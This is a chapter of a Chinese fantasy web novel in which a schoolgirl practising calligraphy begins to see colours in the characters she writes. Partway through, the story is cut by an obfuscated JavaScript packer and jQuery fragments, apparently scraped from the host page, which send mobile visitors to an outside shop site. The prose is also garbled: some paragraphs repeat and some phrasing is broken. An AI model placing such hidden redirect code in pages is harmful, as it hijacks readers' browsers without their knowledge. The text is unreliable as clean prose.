文趣网 > 都市小说 > 墨散意不尽 > 67. 看见笔意的颜色
    四月的傍晚,暮色来得比冬天晚了许多。

    张清放学回家时,太阳还挂在西边的屋顶上,把半边天染成橘红色,有人打翻了一罐颜料。那光芒照在厂区灰扑扑的楼房上,给那些冷冰冰的水泥墙镀上了一层暖意。

    她骑着自行车穿过厂区的大门,车轮压过坑洼的路面,发出细碎的声响。路两旁的梧桐树抽出了新芽,嫩绿的叶子在晚风中轻轻摇晃,空气中弥漫着一股若有若无的青草气息——那是春天特有的味道,带着泥土的腥气和植物的清香。

    厂区里有好几棵老梧桐树,据说和张清的父亲年纪差不多大。那些树长得高大茂盛,枝丫伸展开来,把整条路都遮成了一片绿荫。夏天的时候,这里是最好的乘凉去处,退休的老工人们喜欢搬把小凳子坐在树下,下棋聊天。

    张清骑过那些老梧桐时,忽然想起了什么。

    去年夏天,也是这样的傍晚,她骑着车经过这些树。那时候蝉已经开始叫了,一声接一声,吵得人心烦。但不知道为什么,每次经过这些树,她都觉得格外凉爽。不是那种物理上的凉快,而是一种说不清道不明的舒适感。

    现在想来,也许和那些蝉有关?

    她摇了摇头,把这个念头甩开,加快了蹬车的速度。

    回到家里,父母还没下班。空荡荡的屋子里只有挂钟滴答滴答的声音,和窗外偶尔传来的鸟鸣。张清把书包往沙发上一扔,径直走进自己的房间。

    她已经等不及了。

    自从那天晚上用隶书写出那张"安"字之后,这段时间她一直在琢磨一个问题:为什么隶书的效果会这么强?这个问题一根刺扎在心里,让她坐立不安。

    白天要上课,她只能在晚上挤出一点时间。但每天晚上她都睡得很晚,把时间花在两个事情上:一是临摹各种字体的碑帖,二是反复尝试用不同的字体写那几个她已经熟悉的字。

    楷书、行书、隶书,她轮流着写,一遍又一遍。

    渐渐地,她发现了一些规律。

    楷书写出来的字,效果最稳。横是横,竖是竖,规规矩矩,方方正正。不管写多少遍,那种稳稳当当的感觉都是一样的,一个不会说话的老朋友,永远是那副模样。

    行书写出来的字,效果更活。同样的"通"字,每次写出来的效果都会有细微的差别,有生命一样在呼吸,在流动。她第一次发现这一点的时候,惊讶得差点叫出声来,字竟然是活的?

    隶书写出来的字,效果最厚重。但隶书最难把握,有的时候写得好,那种古朴沉稳的感觉就特别强烈,一坛埋在地下的老酒,越品越有味道;有的时候手生,怎么写都不对味儿,写出来的东西干巴巴的,一杯放凉了的白开水。

    至于草书,她基本放弃了。那种狂放的笔画她还驾驭不了,写出来的东西要么太躁,要么太乱,根本没法用。有一次她试着写了张草书的"安",那股躁动的气息差点把她自己给冲晕过去,吓得她赶紧把那张纸烧了。

    今天,她想试着写一个"静"字。

    她没意识到为什么选这个字,也许是这几天心里太乱,需要一个"静"来让自己平静下来。最近她脑子里装了太多东西,残页上的符图、不同墨的效果、不同纸的区别、不同字体的性格……这些东西搅在一起,一锅沸腾的粥,让她脑子发胀。

    也许写个"静"字,能让自己静一静。

    摊开宣纸,研好墨,挑了一支羊毫笔。

    张清深吸一口气,闭上眼睛。

    这些天她养成了一个习惯:写字之前,先让自己的心静下来。张慎之教她的那样,把所有的杂念都排出去,让心神沉到丹田里,然后才开始落笔。

    这个过程说起来简单,做起来却不容易。脑子里装的东西太多,残页、符图、实验数据、课本知识……全搅在一起,分都分不清。她花了足足五分钟,才把心绪慢慢压下来。

    呼吸慢慢变得绵长。窗外的鸟鸣声渐渐远去,挂钟的滴答声也模糊了,整个世界只剩下她一个人,和面前那张铺开的宣纸。

    她睁开眼睛。

    笔尖蘸了墨,轻轻抵在纸上。

    落笔。

    笔画在纸上游走。"青"字旁先出来,一撇一横一竖,每一笔都恰到好处。然后是"争"字旁,那些笔画活过来的小虫子,在她的引导下在纸上蜿蜒流动。

    张清的腕子稳稳地转动,笔锋藏露之间,那些墨迹有了生命。

    写到最后一笔的时候,她忽然感觉到了什么。

    不对。

    不是出了问题,而是……有什么东西变了。

    那股熟悉的气息开始从纸面上升腾起来,一缕轻烟,又一片薄雾。张清照例闭上眼睛,准备去感受那股沉稳的"静"意,那股可以让蝉鸣停止,可以让心神安宁的力量。

    然后她愣住了。

    她确实感受到了"静"意。

    但不止于此。

    在那个沉稳的"静"意之外,她还感受到了别的东西,一种颜色,一种只有心灵才能看见的颜色。

    那颜色就在她闭着的眼睑后面浮现出来,不是红色,不是蓝色,而是一种她自己也说不清楚的银白色。那白色清冷、明亮、纯净,什么东西被月光浸透了,冬天的第一场雪落在无人的旷野上。

    张清猛地睁开眼睛。

    眼前的景象让她倒吸了一口凉气。

    那张刚刚写完的"静"字还好端端地摆在桌上,墨迹乌黑,纸张米白,一切如常。但就在那张纸的上方,大约一寸高的地方,悬浮着一团淡淡的光。

    那光呈银白色,柔和而清冷,在暮色渐浓的房间里显得格外醒目。它不是烛火的暖黄,不是日光的金红,而是一种完全不同的、更纯粹的颜色。

    张清揉了揉眼睛。

    光还在。

    她眨了眨眼,那光依然在。

    不是幻觉。

    不是错觉。

    她清清楚楚地看见了,就在那张写完的"静"字上方,有一团银白色的光在慢慢流动。那光的样子和她写出来的笔画轮廓有些相似,但又不太一样。它一层薄薄的纱,覆盖在那些墨迹上面,随着空气的流动而轻轻起伏。

    张清的手略发抖。

    她强迫自己镇定下来,仔细端详那团光。光没有形状,没有边界,只是一团朦胧的颜色在她眼前浮动。但奇异的是,她能感受到那光里蕴含的力量,那种沉稳的、可以让世界安静下来的力量。

    她试着伸出手指去触碰,指尖穿过那团光,什么都没摸到,但能感觉到一阵若有若无的凉意从指尖蔓延到掌心。那凉意很淡,冬夜里月光洒在皮肤上的感觉。

    摸到了月光。

    张清屏住呼吸,慢慢收回手。

    那团银白色的光还在,但比刚才淡了一些。她没有动,只是盯着它看。大约过了半分钟,光芒终于消散了,被风吹散的薄雾,彻底融入了周围的空气。

    结束了?

    不,没有结束。

    张清低头看向那张写完的"静"字,又抬头看了看自己的手。

    刚才那个瞬间,她看见的到底是什么?

    她回想起整个过程,试图从中找出一些规律。闭眼、落笔、写字、感受,这个流程和以前完全一样,但结果却不一样了。以前她只能"感受"到那股气息,现在却能"看见"那股气息的颜色。

    这是什么?

    她想起了张慎之以前说过的一句话。

    "写字这件事,练到后来,不只是手上的功夫,还要有眼力。"老人当时是这么说的,"眼力到了,才能看出字的好坏来。"

    当时她不太懂这句话的意思。现在想来,也许这就是所谓的"眼力"?

    更进一步的眼力?

    她没意识到该怎么称呼这种能力,但它确确实实地存在着,而且比之前的任何一种

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809231|210771||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    "感应"都要清晰、都要强烈。以前她只能用耳朵听声音,现在却能用眼睛看见声音的颜色,世界还是那个世界,但看到的东西完全不一样了。

    张清看着窗外渐渐暗下来的天色,心里忽然涌起一股难以言喻的激动。

    她想起了那些残页。

    想起那些古老而复杂的符图,那些弯曲缠绕的线条,那些她到现在还无法完全解读的笔画。

    如果每一种笔意都有颜色,那么那些符图上的笔画,那些融合了不知道多少种笔意的复杂图案,会是什么颜色的?

    她没意识到答案。

    但她很想弄清楚。

    她低头看着桌上那几张写完的字,那些墨迹在昏暗中显得格外浓黑。她忽然有一种强烈的冲动,想要再写一张,再看看那团光是不是还会出现。

    于是她又拿出一张纸。

    这一次,她要验证自己的猜测。

    她蘸了墨,铺开纸,深吸一口气,闭上眼睛。等心神沉下来之后,她睁开眼睛,落笔。

    "安"。

    "安"字的笔画比"静"字简单,但她写得很慢,每一笔都格外用心。笔尖触纸的瞬间,那股熟悉的气息开始升腾。她闭上眼睛,去"感受"那股气息。

    然后那团颜色再次出现了。

    但这一次不是银白。

    是暖黄。

    张清睁开眼睛,看见纸面上方浮动着一团暖黄色的光。那颜色什么?她想了很久,找到了一个词:烛光。

    冬夜里,一盏油灯在窗台上安静地燃烧,火苗不大,但把整个屋子都照得暖融融的。那种暖不是太阳的热烈,而是更柔和、更亲切的暖,一句安慰的话,母亲给她掖被角时的手掌。

    张清盯着那团暖黄色的光看了好一会儿,直到它渐渐消散。

    然后是"通"。

    "通"字写完的那一刻,她闭上眼去感受,青色。那是一种流动的、灵动的颜色,山间的溪水,雨后的天空,春天刚刚解冻的河流。所有的躁动和阻滞都被冲开,世界重新变得通畅无碍。

    三种字,三种颜色。

    "安",暖黄,稳重,亲切。

    "通",青色,流动,灵通。

    "静",银白,清冷,纯净。

    张清呆呆地坐在桌前,脑子里乱成一团。

    这不是普通的"感受",这是真正的"看见"。

    以前她只能靠精神去"感应"那些气息的存在,现在却能用某种方式直接"看见"它们。这是什么能力?是精神力增长的副作用?还是某个临界点的突破?

    她想起残页上那些晦涩的批注,想起周伯年写在纸角的那句话,想起这些天来自己日复一日的练习。

    也许,这就是水到渠成的结果?

    打井,挖到一定程度,自然会有水冒出来。

    她没意识到该怎么称呼这种能力,但它确确实实地存在着,而且比之前的任何一种"感应"都要清晰、都要强烈。这是一种全新的体验,一种让她激动得难以自持的体验。

    张清看着窗外渐渐暗下来的天色,心里忽然涌起一股难以言喻的感慨。

    她想起了那些残页上的符图。想起那些古老而复杂的笔画,那些弯曲缠绕的线条。

    如果每一种笔意都有颜色,那么那些符图上的笔画,那些融合了不知道多少种笔意的复杂图案,会是什么颜色的?

    那一定是更绚烂、更复杂、更让人目眩神迷的颜色吧。

    她没意识到答案。

    但她很期待。

    夜色彻底笼罩了窗外,远处传来母亲喊她吃饭的声音。

    张清应了一声,却没有立刻起身。她低头看着桌上那几张写完的字,那些墨迹在昏暗的光线中显得格外庄重。她的嘴角弯起了一个弧度。

    今天晚上,她要早点睡。

    明天,她要去找一本篆书的字帖来看看。